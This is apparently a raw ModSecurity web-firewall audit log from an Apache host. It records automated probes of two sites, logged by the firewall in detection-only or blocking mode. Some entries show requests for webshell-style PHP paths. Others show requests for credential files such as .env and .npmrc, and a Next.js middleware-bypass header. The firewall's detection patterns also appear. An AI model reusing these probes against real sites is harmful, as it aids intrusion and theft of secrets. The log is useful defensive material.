Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqaoE0wu1RSkptiiNIX@tQAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqaoE0wu1RSkptiiNIX@tQAAAIw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899280352 195140 (- - -)
Stopwatch2: 1789306899280352 195140; combined=6565, p1=409, p2=6095, p3=0, p4=0, p5=60, sr=106, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--03eedc28-Z--
--6409b82e-A--
[13/Sep/2026:16:41:39.654571 +0300] aqaoEysVWymXUono-eRXkwAAAAY 104.28.131.119 50352 127.0.0.1 7081
--6409b82e-B--
GET /img/ufo19p_20539.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D
--6409b82e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 22cf8dfe-34a6-4463-9bc1-ef1e554fa70a
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6409b82e-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqaoEysVWymXUono-eRXkwAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqaoEysVWymXUono-eRXkwAAAAY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899242581 412104 (- - -)
Stopwatch2: 1789306899242581 412104; combined=5641, p1=245, p2=5325, p3=0, p4=0, p5=70, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--6409b82e-Z--
--9fd31c6a-A--
[13/Sep/2026:16:41:39.750697 +0300] aqaoE0wu1RSkptiiNIX@tgAAAIc 104.28.131.119 50378 127.0.0.1 7081
--9fd31c6a-B--
GET /img/ufo19_20982.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: 3edd395a10c4893e5a21ace356f6da14key=d6a8dad0f695956302627a5068bb4318; csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D
--9fd31c6a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: e407a86d-d20a-4a01-90d6-49ee5cfc7621
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9fd31c6a-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqaoE0wu1RSkptiiNIX@tgAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqaoE0wu1RSkptiiNIX@tgAAAIc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899290404 460363 (- - -)
Stopwatch2: 1789306899290404 460363; combined=6066, p1=316, p2=5654, p3=0, p4=0, p5=95, sr=142, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--9fd31c6a-Z--
--c8634b21-A--
[13/Sep/2026:16:41:39.778796 +0300] aqaoEysVWymXUono-eRXlAAAAA8 104.28.131.119 50368 127.0.0.1 7081
--c8634b21-B--
GET /img/ufo19w_831.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D
--c8634b21-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 4bc6695b-20ee-4a77-9943-6ae830f80245
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c8634b21-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqaoEysVWymXUono-eRXlAAAAA8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqaoEysVWymXUono-eRXlAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899254823 524052 (- - -)
Stopwatch2: 1789306899254823 524052; combined=5531, p1=248, p2=5211, p3=0, p4=0, p5=72, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--c8634b21-Z--
--92803e06-A--
[13/Sep/2026:16:41:44.821853 +0300] aqaoGEwu1RSkptiiNIX@vQAAAIQ 34.182.226.0 50670 127.0.0.1 7081
--92803e06-B--
GET /.github/.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--92803e06-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--92803e06-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:16-41.34.182.226.0"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789306904789861 32068 (- - -)
Stopwatch2: 1789306904789861 32068; combined=29189, p1=319, p2=28546, p3=0, p4=0, p5=323, sr=142, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--92803e06-Z--
--a0196e67-A--
[13/Sep/2026:16:41:45.870571 +0300] aqaoGWM7dE9KgIIOpQiBpgAAANY 34.182.226.0 36606 127.0.0.1 7081
--a0196e67-B--
POST /graphql HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
Origin: https://singlemaltcommunity.com
Referer: https://singlemaltcommunity.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--a0196e67-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a0196e67-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306905754288 116395 (- - -)
Stopwatch2: 1789306905754288 116395; combined=7865, p1=362, p2=7207, p3=0, p4=0, p5=295, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a0196e67-Z--
--8ec9cd0e-A--
[13/Sep/2026:16:41:46.081899 +0300] aqaoGWM7dE9KgIIOpQiBqQAAAMw 34.182.226.0 36630 127.0.0.1 7081
--8ec9cd0e-B--
GET /.svn/entries HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8ec9cd0e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8ec9cd0e-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.svn/entries"] [unique_id "aqaoGWM7dE9KgIIOpQiBqQAAAMw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.svn/entries"] [unique_id "aqaoGWM7dE9KgIIOpQiBqQAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306905921420 160538 (- - -)
Stopwatch2: 1789306905921420 160538; combined=36229, p1=383, p2=35752, p3=0, p4=0, p5=93, sr=211, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8ec9cd0e-Z--
--bb571177-A--
[13/Sep/2026:16:41:46.152285 +0300] aqaoGWM7dE9KgIIOpQiBqAAAAMQ 34.182.226.0 36614 127.0.0.1 7081
--bb571177-B--
GET /.npmrc HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--bb571177-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bb571177-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.npmrc"] [unique_id "aqaoGWM7dE9KgIIOpQiBqAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.npmrc"] [unique_id "aqaoGWM7dE9KgIIOpQiBqAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306905911517 240824 (- - -)
Stopwatch2: 1789306905911517 240824; combined=37275, p1=257, p2=36941, p3=0, p4=0, p5=77, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bb571177-Z--
--bde72c71-A--
[13/Sep/2026:16:41:46.373740 +0300] aqaoGmM7dE9KgIIOpQiBrQAAANE 34.182.226.0 36688 127.0.0.1 7081
--bde72c71-B--
POST /api/graphql HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
Origin: https://singlemaltcommunity.com
Referer: https://singlemaltcommunity.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--bde72c71-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bde72c71-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306906280873 92946 (- - -)
Stopwatch2: 1789306906280873 92946; combined=6378, p1=334, p2=5699, p3=0, p4=0, p5=344, sr=117, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bde72c71-Z--
--d391531b-A--
[13/Sep/2026:16:41:46.730330 +0300] aqaoGkwu1RSkptiiNIX@wwAAAIg 34.182.226.0 36704 127.0.0.1 7081
--d391531b-B--
POST /v1/graphql HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
Origin: https://singlemaltcommunity.com
Referer: https://singlemaltcommunity.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--d391531b-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d391531b-H--
